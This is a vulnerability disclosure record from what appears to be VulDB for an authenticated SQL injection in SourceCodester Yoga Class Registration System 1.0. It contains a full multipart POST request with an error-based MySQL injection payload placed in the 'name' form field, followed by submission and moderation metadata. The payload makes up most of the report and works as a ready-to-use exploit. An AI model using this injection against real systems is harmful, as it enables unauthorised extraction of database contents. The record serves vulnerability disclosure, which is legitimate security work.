Submit #93567: Authenticated POST method SQL Injection when add class entry

# Exploit Title: Authenticated POST method SQL Injection when add class entry on Yoga Class Registration System
# Google Dork: NA
# Date: 23/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html
# Software Link: [download link if available]
# Version: 1.0
# Tested on: Windows 11

#payload

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: -----------------------------1451286878127347124146171499
Content-Disposition: form-data; name="id"

-----------------------------1451286878127347124146171499
Content-Disposition: form-data; name="category_id"

6
-----------------------------1451286878127347124146171499
Content-Disposition: form-data; name="name"

SQLi' AND (SELECT 1001 FROM(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT (ELT(1001=1001,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qiYQ

``

• Source: ⚠️ https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html
• User: mroz1l (UID 41497)
• Submission: 02/23/2023 10:25 (3 years ago)
• Moderation: 02/23/2023 12:06 (2 hours later)
• Status: Accepted
• VulDB entry: 221677 [SourceCodester Yoga Class Registration System 1.0 Add Class Entry ID sql injection]
• Points: 20